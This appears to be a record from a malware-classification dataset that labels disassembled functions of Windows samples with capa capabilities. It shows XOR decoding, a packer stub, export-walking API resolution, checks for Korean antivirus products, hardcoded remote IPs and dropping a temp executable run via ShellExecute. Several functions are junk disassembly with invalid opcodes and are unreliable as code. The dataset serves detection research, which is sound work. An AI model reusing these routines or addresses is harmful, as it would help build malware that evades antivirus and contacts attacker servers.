joyce8/EMBER2024-capa huggingface dataset:
Function at 0x403d39
Capabilities:
Encode data using xor

Disassembly:
push esi
xor esi, esi
cmp dword [esp + 0xc], esi
jbe 0x403e81
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_RegDisablePredefinedCacheEx]
push edi
mov edi, dword [esp + 0x10]
call ebx
add byte [esi + edi], 0x42
call ebx
add byte [esi + edi], 0xe5
call ebx
xor byte [esi + edi], 0x64
call ebx
add byte [esi + edi], 8
call ebx
add byte [esi + edi], 0x3c
call ebx
add byte [esi + edi], 0x71
call ebx
add byte [esi + edi], 0x5d
call ebx
xor byte [esi + edi], 0xe4
call ebx
add byte [esi + edi], 0xde
call ebx
add byte [esi + edi], 0x24
call ebx
xor byte [esi + edi], 0x15
call ebx
add byte [esi + edi], 0x2c
call ebx
add byte [esi + edi], 0xf
call ebx
add byte [esi + edi], 0x54
call ebx
add byte [esi + edi], 0x41
call ebx
add byte [esi + edi], 0xd
call ebx
xor byte [esi + edi], 0x9a
call ebx
add byte [esi + edi], 0xed
call ebx
add byte [esi + edi], 0x7e
call ebx
add byte [esi + edi], 0x21
call ebx
add byte [esi + edi], 0xa8
call ebx
add byte [esi + edi], 0x69
call ebx
add byte [esi + edi], 0xb5
call ebx
add byte [esi + edi], 0x7b
call ebx
add byte [esi + edi], 0x7c
call ebx
xor byte [esi + edi], 0xf7
call ebx
add byte [esi + edi], 0x12
call ebx
add byte [esi + edi], 0xd8
call ebx
add byte [esi + edi], 0x2d
call ebx
add byte [esi + edi], 0x39
call ebx
call ebx
xor byte [esi + edi], 0x78
call ebx
xor byte [esi + edi], 0x37
call ebx
xor byte [esi + edi], 0x4b
call ebx
add byte [esi + edi], 0xdd
call ebx
add byte [esi + edi], 0xa7
call ebx
xor byte [esi + edi], 0xb8
call ebx
add byte [esi + edi], 0x61
call ebx
add byte [esi + edi], 0xd2
call ebx
xor byte [esi + edi], 0x13
call ebx
add byte [esi + edi], 0xbf
call ebx
xor byte [esi + edi], 0xd4
call ebx
add byte [esi + edi], 0x30
call ebx
xor byte [esi + edi], 0xd2
call ebx
add byte [esi + edi], 0xbd
call ebx
xor byte [esi + edi], 0xa4
call ebx
add byte [esi + edi], 0xb2
call ebx
add byte [esi + edi], 0x9c
call ebx
add byte [esi + edi], 0xb2
inc esi
cmp esi, dword [esp + 0x14]
jb 0x403d52
pop edi
pop ebx
pop esi
ret

Function at 0x403f0b
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x20
mov eax, dword [0x4460ec]
xor eax, esp
mov dword [esp + 0x1c], eax
push ebx
push ebp
push esi
mov esi, dword [esp + 0x30]
xor ebp, ebp
push edi
mov eax, dword [esi + 0x3c]
mov ebx, dword [eax + esi + 0x78]
add ebx, esi
mov edi, dword [ebx + 0x20]
mov eax, dword [ebx + 0x18]
add edi, esi
mov dword [esp + 0x10], eax
test eax, eax
je 0x403f74
mov eax, dword [edi]
lea ecx, [esp + 0x14]
add eax, esi
push eax
call fcn.00401b44
lea eax, [esp + 0x14]
push 0x14d
push eax
call fcn.004040e2
pop ecx
pop ecx
cmp eax, dword [esp + 0x38]
je 0x403f8c
lea ecx, [esp + 0x14]
add edi, 4
call fcn.00403ab2
inc ebp
cmp ebp, dword [esp + 0x10]
jb 0x403f3c
xor edi, edi
mov ecx, dword [esp + 0x2c]
lea eax, [esi + edi]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.00405f48
add esp, 0x20
ret
mov eax, dword [ebx + 0x24]
lea eax, [eax + ebp*2]
movzx ecx, word [eax + esi]
mov eax, dword [ebx + 0x1c]
lea eax, [eax + ecx*4]
mov edi, dword [eax + esi]
lea ecx, [esp + 0x14]
call fcn.00403ab2
jmp 0x403f76
Function at 0x417bc0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x417bed
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x417bed
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x401100
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
mov dword [0x405045], eax
push 0
mov ecx, dword [ebp + 8]
push ecx
push 0
push 0
push 0
push 0x80000000
push 0x80000000
push 0x80000000
push 0xcf0000
push 0x405228
push 0x405290
push 0
call dword [sym.imp.USER32.dll_CreateWindowExA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x40114b
xor eax, eax
jmp 0x401166
push 0
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.USER32.dll_ShowWindow]
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.USER32.dll_UpdateWindow]
mov eax, 1
mov esp, ebp
pop ebp
ret
Function at 0x41ee2f
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
push ebx
push esi
push edi
push 4
pop eax
call fcn.0041ac10
mov esi, esp
push 0x1c
lea eax, [ebp - 0x28]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
je 0x41eeca
mov ebx, dword [ebp - 0x24]
lea eax, [ebp - 0x4c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov ecx, dword [ebp - 0x48]
mov eax, dword [0x471ca0]
lea edi, [ecx - 1]
not edi
and edi, esi
sub edi, ecx
mov esi, eax
dec esi
neg esi
sbb esi, esi
and esi, 0xfffffff1
add esi, 0x11
imul esi, ecx
add esi, ebx
cmp edi, esi
mov dword [ebp - 8], ecx
jb 0x41eeca
cmp eax, 1
je 0x41eeeb
mov dword [ebp - 4], ebx
mov ebx, 0x1000
push 0x1c
lea eax, [ebp - 0x28]
push eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
je 0x41eeca
mov eax, dword [ebp - 0x1c]
add dword [ebp - 4], eax
test dword [ebp - 0x18], ebx
je 0x41ee97
test byte [ebp - 0x13], 1
mov eax, dword [ebp - 0x28]
mov dword [ebp - 4], eax
je 0x41eec6
xor eax, eax
inc eax
jmp 0x41ef0a
cmp edi, eax
jae 0x41eece
xor eax, eax
jmp 0x41ef0a
cmp eax, esi
jae 0x41eed5
mov dword [ebp - 4], esi
push 4
push ebx
push dword [ebp - 8]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov eax, dword [0x471ca0]
jmp 0x41eeee
mov dword [ebp - 4], edi
dec eax
neg eax
sbb eax, eax
and eax, 0x103
lea ecx, [ebp - 0xc]
push ecx
inc eax
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea esp, [ebp - 0x58]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x432000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
push 4
nop
nop
nop
nop
pop edi
nop
nop
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
je 0x432072
nop
mov ebx, 0x40c7d0
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
nop
push eax
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
div edi
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
mov esi, 0x47a6103c
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
add eax, edi
nop
nop
loop 0x432060
nop
nop
mov eax, section..data
nop
cmp eax, 0
nop
nop
nop
nop
nop
nop
je 0x4320d2
nop
nop
mov ebx, 0x42f314
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
mov eax, ecx
nop
div edi
nop
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
pop eax
nop
nop
mov esi, 0x3268053c
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
loop 0x4320c0
nop
nop
nop
nop
popal
nop
jmp 0x431219
Function at 0x405ef4
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x422a34], 0
push esi
jne 0x405f2b
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x405f05
mov dword [ecx*4 + 0x422a30], eax
inc ecx
cmp ecx, 0x100
jl 0x405f00
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x405f5c
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x422a30]
xor eax, esi
inc ecx
dec edx
jne 0x405f3e
pop edi
not eax
pop esi
ret 0xc

Function at 0x404a6b
Capabilities:
Encode data using xor

Disassembly:
push edi
lea edx, [eax + 7]
and edx, 0xfffffff8
cmp edx, eax
mov eax, dword [ebp - 0x3e]
mov eax, dword [0x1d731d55]
mov eax, dword [eax + 0x20]
test eax, eax
je 0x404ccd
push 0xffffffffffffffa7
rol byte [bp + di + 0x4c4], 1
add al, al
pop edi
pop esi
pop ebx
rcr byte [edi + 0x5e], 0x5b
mov ecx, dword [ebp + 0x4808f05d]
mov edx, eax
sub al, 0x8b
dec esi
adc byte [ebx - 0x6d4eb82], cl
cmp edx, edi
ja 0x404ab8
add edx, ecx
pop edi
mov dword [esi + 0x10], edx
pop esi
mov eax, dword [eax + 0x5b]
mov esp, ebp
pop ebp
out 8, al
add cl, ch
push cs
push eax
jns 0x404ad1
jmp 0x14b99acb
mov ebx, dword [ecx - 0x2e]
sub edi, ebx
cmp edx, edi
ja 0x404ada
mov eax, dword [ecx + 4]
in eax, 0x39
mov ebx, 0x8b01e771
jns 0x404ad6
add al, 0x89
js 0x404ad9
mov dword [eax + 4], edi
jmp 0x404c4a
jo 0x404ad9
add byte [eax], al
add byte [ebx + 0x78], bl
sbb byte [ebp + 0x109b9a], cl
add byte [edi - 0xfff1d], dl
invalid
pop ebx
js 0x404af5
lea ebx, [edx + 0x109b]
xchg edi, eax
jecxz 0x404ae6
invalid
sti
cld
and byte [eax], al
add dl, bl
jle 0x404aaa
inc ebp
or al, 0
dec ebp
xchg edx, eax
jl 0x404a8f
enter 0xffffffffffff8b0c, 0xffffffffffffffd3
pop eax
ljmp 0x8917
mov eax, dword [ecx - 0x55]
invalid
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 0xb9

Function at 0x408b40
Capabilities:
Get socket status

Disassembly:
sbb esi, esp
push 0x72
push eax
stc
invalid
push ebp
mov eax, dword [ebp - 0x74cbb57d]
dec ebp
cli
ja 0x408ae6
jne 0x408b99
push 0
rcl byte [ebp - 8], cl
push 0
mov eax, dword [esi]
push edx
cmp esi, esp
or byte [ecx + 0x458df045], cl
cld
mov ch, byte [ebx - 0xc]
push eax
mov eax, dword [edx + 4]
lea ecx, [ebp - 0x10]
push 1
rcl byte [eax + 1]
inc ebp
cld
add ah, bl
add bl, cl
mov esp, 0x5194
xor eax, dword [eax]
call dword [0xce4017c4]
and dword [ebx + 0x572c7566], 0xffffff8b
cmp eax, 0x9b40c1d8
call edi
test eax, eax
jne 0x408b9e
mov dword [esi], eax
pop edi
pop esi
mov esp, ebp
or dl, al
or al, 0
in eax, 8
ret 0xc
call edi
retf

Function at 0x4091c7
Capabilities:
Encode data using xor

Disassembly:
call fcn.004091c7
rcr dword [esi + 0x30], 0x4c
push cs
pop es
inc ecx
pop esi
xor byte [esi + ecx + 7], cl
loop 0x4091ca
std
mov ecx, 0xe68ddb8
in al, dx
add al, 0x57
pop esp
cmp dl, byte [edx]
mov al, byte [0xd195cc0f]
in al, 0xd7
std
stc
call 0x953278d2
and byte [esi - 3], al
das
lahf
jp 0x4091c3
dec ebp
aad 0x30
wait
out 0x6b, eax
ret 0xdf22
Function at 0x40d8d0
Capabilities:
Copy file

Disassembly:
enter 0x74c, 2
push ebx
push ecx
push edx
mov esi, dword [ebp + 8]
lea edi, [ebp - 0x10c]
call fcn.00401940
lea esi, [ebp - 0x10c]
lea edi, [ebp - 0x754]
call fcn.00401b30
mov esi, 0x414a25
call fcn.00401af0
mov esi, edi
lea edi, [ebp - 0x654]
call fcn.00401b30
mov esi, 0x414a28
call fcn.00401af0
lea edi, [ebp - 0x554]
lea esi, [ebp - 0x654]
call fcn.00401940
lea esi, [ebp - 0x10c]
lea edi, [ebp - 0x654]
call fcn.00401b30
mov esi, 0x414a2a
call fcn.00401af0
lea edi, [ebp - 0x10c]
lea esi, [ebp - 0x654]
call fcn.00401940
push 0
lea eax, [ebp - 0x553]
push eax
lea ebx, [ebp - 0x10b]
push ebx
call sub.kernel32.dll_CopyFileA
test al, al
jne 0x40d96d
lea eax, [ebp - 0x336]
push eax
lea ebx, [ebp - 0x554]
push ebx
call fcn.00401e60
lea ecx, [ebp - 0x336]
push ecx
push 1
call fcn.00405ed0
lea eax, [ebp - 0x454]
push eax
lea ebx, [ebp - 0x10c]
push ebx
call fcn.00401e60
lea ecx, [ebp - 0x454]
push ecx
push 1
call fcn.00405eb0
mov eax, 0
mov dword [ebp - 0x218], eax
lea eax, [ebp - 0x336]
push eax
call fcn.00403630
test al, al
jne 0x40da75
lea eax, [ebp - 0x336]
push eax
lea ebx, [ebp - 0x18c]
push ebx
push 0x80
push 1
call fcn.00405e00
mov dword [ebp - 0x214], eax
test eax, eax
jle 0x40da41
mov dword [ebp - 0x558], eax
mov edi, 0
mov dword [ebp - 0x210], edi
inc dword [ebp - 0x210]
mov eax, dword [ebp - 0x210]
cmp byte [ebp + eax - 0x18d], 0
je 0x40da39
inc dword [ebp - 0x218]
mov eax, dword [ebp - 0x210]
mov ebx, dword [ebp - 0x218]
mov cl, byte [ebp + eax - 0x18d]
mov byte [ebp + ebx - 0x20d], cl
dec dword [ebp - 0x558]
jne 0x40da03
cmp dword [ebp - 0x218], 0
jle 0x40da65
lea eax, [ebp - 0x454]
push eax
lea ebx, [ebp - 0x20c]
push ebx
push dword [ebp - 0x218]
push 0
call fcn.00405d40
mov eax, 0
mov dword [ebp - 0x218], eax
jmp 0x40d9ba
lea eax, [ebp - 0x336]
push eax
call fcn.00401d90
lea ebx, [ebp - 0x454]
push ebx
call fcn.00401d90
pop edx
pop ecx
pop ebx
leave
ret 4

Function at 0x40f480
Capabilities:
Delete file

Disassembly:
enter 0x104, 2
push ebx
push ecx
push edx
mov esi, 0x41408e
lea edi, [ebp - 0x10c]
call fcn.00401b30
mov esi, 0x414d72
call fcn.00401af0
mov eax, dword [ebp - 4]
lea edi, [eax - 0x244]
lea esi, [ebp - 0x10c]
call fcn.00401940
mov eax, edi
push eax
call fcn.00405f00
test al, al
je 0x40f502
mov eax, dword [ebp - 4]
lea esi, [eax - 0x244]
lea edi, [ebp - 0x10c]
call fcn.00401b30
mov esi, 0x414d77
call fcn.00401af0
lea edi, [eax - 0x244]
lea esi, [ebp - 0x10c]
call fcn.00401940
mov ebx, eax
lea ecx, [ebx - 0x243]
push ecx
call sub.kernel32.dll_DeleteFileA
test al, al
je 0x40f502
push 3
call sub.user32.dll_PostQuitMessage
pop edx
pop ecx
pop ebx
leave
ret
Function at 0x401000
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x414
mov eax, dword [0x417038]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor eax, eax
mov edi, 0x206
push edi
xor esi, esi
mov word [ebp - 0x414], ax
lea eax, [ebp - 0x412]
push esi
push eax
call fcn.004082d0
xor eax, eax
push edi
mov word [ebp - 0x20c], ax
lea eax, [ebp - 0x20a]
push esi
push eax
call fcn.004082d0
add esp, 0x18
lea eax, [ebp - 0x414]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryW]
mov edi, dword [sym.imp.USER32.dll_wsprintfW]
xor eax, eax
mov word [ebp - 0x410], ax
push str.HangameKOREANHanUninstall.exe
lea eax, [ebp - 0x414]
push eax
lea eax, [ebp - 0x20c]
push str._s_s
push eax
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
add esp, 0x10
lea eax, [ebp - 0x20c]
push eax
call ebx
xor ecx, ecx
inc ecx
cmp eax, 0xffffffff
push str.NEOWIZPMangcommonPMLauncher.exe
lea eax, [ebp - 0x414]
push eax
lea eax, [ebp - 0x20c]
push str._s_s
push eax
cmovne esi, ecx
call edi
add esp, 0x10
lea eax, [ebp - 0x20c]
push eax
call ebx
cmp eax, 0xffffffff
je 0x4010d2
or esi, 2
push str.NetmarbleCommonNetMarbleEndWeb.exe
lea eax, [ebp - 0x414]
push eax
lea eax, [ebp - 0x20c]
push str._s_s
push eax
call edi
add esp, 0x10
lea eax, [ebp - 0x20c]
push eax
call ebx
cmp eax, 0xffffffff
je 0x401100
or esi, 4
push str.Program_FilesAhnLabV3Lite30V3Lite.exe
lea eax, [ebp - 0x414]
push eax
lea eax, [ebp - 0x20c]
push str._s_s
push eax
call edi
add esp, 0x10
lea eax, [ebp - 0x20c]
push eax
call ebx
cmp eax, 0xffffffff
je 0x401131
or esi, 0x100
push str.Program_FilesESTsoftALYacAYLaunch.exe
lea eax, [ebp - 0x414]
push eax
lea eax, [ebp - 0x20c]
push str._s_s
push eax
call edi
add esp, 0x10
lea eax, [ebp - 0x20c]
push eax
call ebx
cmp eax, 0xffffffff
je 0x401162
or esi, 0x200
push str.Program_Files_naverNaverAgentNaverAgent.exe
lea eax, [ebp - 0x414]
push eax
lea eax, [ebp - 0x20c]
push str._s_s
push eax
call edi
add esp, 0x10
lea eax, [ebp - 0x20c]
push eax
call ebx
cmp eax, 0xffffffff
je 0x401193
or esi, 0x400
mov ecx, dword [ebp - 4]
or esi, 0x2000000
pop edi
mov eax, esi
pop esi
xor ecx, ebp
pop ebx
call fcn.004046ea
leave
ret
Function at 0x4013da
Capabilities:
Create thread
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3e4
mov eax, dword [0x417038]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor eax, eax
push 0x3e
mov word [ebp - 0x48], ax
xor edi, edi
lea eax, [ebp - 0x46]
push edi
push eax
call fcn.004082d0
add esp, 0xc
xor eax, eax
push 0x206
mov word [ebp - 0x250], ax
lea eax, [ebp - 0x24e]
push edi
push eax
call fcn.004082d0
add esp, 0xc
lea eax, [ebp - 0x250]
push 0x104
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea eax, [ebp - 0x250]
push 0x5c
push eax
call fcn.00405239
mov esi, eax
push 2
xor eax, eax
pop ebx
mov word [esi], ax
add esi, ebx
push 0x2e
push esi
call fcn.00405239
xor ecx, ecx
mov word [eax], cx
lea ecx, [ebp - 0x48]
add esp, 0x10
sub ecx, esi
movzx eax, word [esi]
mov word [ecx + esi], ax
add esi, ebx
test ax, ax
jne 0x401467
mov ecx, edi
movzx eax, word [ebp + ecx - 0x48]
mov word [ecx + 0x418f88], ax
add ecx, ebx
test ax, ax
jne 0x401477
mov esi, 0x418f88
push esi
push edi
push 0x20000
call dword [sym.imp.KERNEL32.dll_OpenEventW]
test eax, eax
je 0x4014ae
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x401592
push esi
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_CreateEventW]
test eax, eax
je 0x4014a7
lea eax, [ebp - 0x3e0]
push eax
push 0x101
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov ecx, 0x419b20
call fcn.00401c3d
mov esi, 0x415890
test eax, eax
jne 0x401569
mov ecx, edi
movzx eax, word [ecx + str.dgudf]
mov word [ecx + 0x419cc8], ax
add ecx, ebx
test ax, ax
jne 0x4014e7
push str.218.54.47.77
push 0x40
push 0x419b24
call fcn.0040482f
add esp, 0xc
push str.GTDR
push 0x10
push 0x419ba6
call fcn.0040482f
add esp, 0xc
push esi
push 0x40
push 0x419bc6
call fcn.0040482f
add esp, 0xc
mov edx, edi
push 0x51
pop eax
mov word [0x419ba4], ax
mov eax, 0x2b8e
mov word [0x419c46], ax
movzx eax, word [edx + str.BHSBDHS]
mov word [edx + 0x419ca8], ax
add edx, ebx
test ax, ax
jne 0x40154a
mov dword [0x419ce8], 5
call fcn.00403350
mov ecx, esi
call fcn.004033f0
mov dword [0x419e20], eax
call fcn.00401216
push edi
push edi
push edi
push 0x40133b
push edi
push edi
call dword [sym.imp.KERNEL32.dll_CreateThread]
xor eax, eax
inc eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004046ea
leave
ret
Function at 0x4015a1
Capabilities:
Check if file exists
Get common file path
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x41c
mov eax, dword [0x417038]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov eax, edx
push edi
mov ecx, str.218.54.47.76
mov dword [ebp - 0x41c], eax
call fcn.00403a80
mov esi, eax
test esi, esi
jne 0x4016c8
mov edi, 0x206
push edi
mov word [ebp - 0x210], ax
xor ebx, ebx
lea eax, [ebp - 0x20e]
push ebx
push eax
call fcn.004082d0
add esp, 0xc
xor eax, eax
push edi
mov word [ebp - 0x418], ax
lea eax, [ebp - 0x416]
push ebx
push eax
call fcn.004082d0
add esp, 0xc
lea eax, [ebp - 0x210]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov edi, 0x4193a8
mov ebx, edi
xor eax, eax
cmp word [ebx], ax
je 0x40165e
lea eax, [ebp - 0x210]
push eax
lea eax, [ebp - 0x418]
push 0x104
push eax
call fcn.0040482f
add esp, 0xc
lea eax, [ebp - 0x418]
push ebx
push 0x104
push eax
call fcn.0040488b
add esp, 0xc
xor eax, eax
add ebx, 0x118
cmp ebx, 0x419920
jl 0x401627
mov ebx, dword [ebp - 0x41c]
cmp word [edi], ax
je 0x401689
push ecx
push ebx
mov edx, str.218.54.47.76
mov ecx, edi
call fcn.00404390
pop ecx
pop ecx
xor eax, eax
add edi, 0x118
cmp edi, 0x419920
jl 0x401672
push 0x4191a0
lea eax, [ebp - 0x210]
push 0x104
push eax
call fcn.0040488b
add esp, 0xc
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
push 2
cmp eax, 0xffffffff
pop ecx
cmove esi, ecx
mov eax, esi
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004046ea
leave
ret
Function at 0x401946
Capabilities:
Create process on windows
Get common file path
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x214
mov eax, dword [0x417038]
xor eax, esp
mov dword [esp + 0x210], eax
push ebx
push esi
mov esi, dword [sym.imp.USER32.dll_LoadStringW]
push edi
mov edi, dword [ebp + 8]
push 0x64
push 0x418eb8
push 0x67
push edi
call esi
push 0x64
mov ebx, 0x418df0
push ebx
push 0x6d
push edi
call esi
mov ecx, edi
call fcn.00401ab8
xor ecx, ecx
push ecx
push edi
push ecx
push ecx
push ecx
mov eax, connect
push eax
push ecx
push eax
push 0xcf0000
push 0x418eb8
push ebx
push ecx
mov dword [0x418f80], edi
call dword [sym.imp.USER32.dll_CreateWindowExW]
test eax, eax
jne 0x4019d0
mov ecx, dword [esp + 0x21c]
pop edi
pop esi
pop ebx
xor ecx, esp
xor eax, eax
call fcn.004046ea
mov esp, ebp
pop ebp
ret 0x10
push 0x6d
push edi
call dword [sym.imp.USER32.dll_LoadAcceleratorsW]
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x7d0
call esi
call fcn.004027c0
call fcn.00401eab
test eax, eax
je 0x401a02
call fcn.004030b0
xor ebx, ebx
push ebx
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.004013da
test eax, eax
je 0x4019b7
call fcn.004016d7
mov ecx, dword [0x419e20]
test ecx, ecx
je 0x401a3a
cmp word [0x419e24], 0
jbe 0x401a3a
mov edx, str.218.54.31.226
call fcn.00403810
mov ax, word [0x419e24]
mov word [0x417ef4], ax
xor ebx, ebx
mov ecx, ebx
movzx eax, word [ecx + str.fikdr.exe]
mov word [ecx + 0x4191a0], ax
lea ecx, [ecx + 2]
test ax, ax
jne 0x401a3e
call fcn.00403890
xor eax, eax
push 0x206
mov word [esp + 0x14], ax
lea eax, [esp + 0x16]
push ebx
push eax
call fcn.004082d0
add esp, 0xc
lea eax, [esp + 0x10]
push eax
mov edi, 0x104
push edi
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push 0x4191a0
lea eax, [esp + 0x14]
push edi
push eax
call fcn.0040488b
add esp, 0xc
push 0x1f4
call esi
push 1
push ebx
push 0x41584c
lea eax, [esp + 0x1c]
push eax
push ebx
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
jmp 0x4019fb
Function at 0x401cc8
Capabilities:
Get common file path
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
mov eax, dword [0x417038]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
mov eax, ecx
push edi
xor edi, edi
mov dword [ebp - 0x214], eax
test eax, eax
je 0x401dde
test ebx, ebx
je 0x401dde
mov ecx, ebx
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
cmp ax, di
jne 0x401cff
sub ecx, edx
sar ecx, 1
je 0x401dde
push esi
xor eax, eax
push 0x206
mov word [ebp - 0x20c], ax
lea eax, [ebp - 0x20a]
push edi
push eax
call fcn.004082d0
add esp, 0xc
cmp dword [ebp + 0xc], edi
jne 0x401d6b
cmp dword [0x417f08], 3
jne 0x401d6b
mov esi, 0x104
push esi
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0x415998
lea eax, [ebp - 0x20c]
push esi
push eax
call fcn.0040488b
add esp, 0xc
jmp 0x401d7e
lea eax, [ebp - 0x20c]
push eax
mov esi, 0x104
push esi
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push ebx
lea eax, [ebp - 0x20c]
push esi
push eax
call fcn.0040488b
push 0x41599c
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0x210]
push eax
mov dword [ebp - 0x210], edi
call fcn.00404a82
add esp, 0x18
pop esi
cmp dword [ebp - 0x210], edi
je 0x401dde
push dword [ebp - 0x210]
xor edi, edi
inc edi
push edi
push 0x200
push dword [ebp - 0x214]
call fcn.00404d54
push dword [ebp - 0x210]
call fcn.00404e6c
add esp, 0x14
mov ecx, dword [ebp - 4]
mov eax, edi
pop edi
xor ecx, ebp
pop ebx
call fcn.004046ea
leave
ret

Function at 0x401dee
Capabilities:
Get common file path
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
mov eax, dword [0x417038]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
xor eax, eax
push 0x206
xor esi, esi
mov word [ebp - 0x20c], ax
lea eax, [ebp - 0x20a]
push esi
push eax
mov edi, ecx
call fcn.004082d0
add esp, 0xc
mov dword [ebp - 0x210], esi
test edi, edi
je 0x401e9b
lea eax, [ebp - 0x20c]
push eax
mov esi, 0x104
push esi
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push str.golfinfo.ini
lea eax, [ebp - 0x20c]
push esi
push eax
call fcn.0040488b
push 0x4159bc
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0x210]
push eax
call fcn.00404a82
xor esi, esi
add esp, 0x18
inc esi
cmp dword [ebp - 0x210], 0
je 0x401e9b
push dword [ebp - 0x210]
push esi
push 0x200
push edi
call fcn.0040503a
push dword [ebp - 0x210]
call fcn.00404e6c
add esp, 0x14
mov ecx, dword [ebp - 4]
pop edi
mov eax, esi
xor ecx, ebp
pop esi
call fcn.004046ea
leave
ret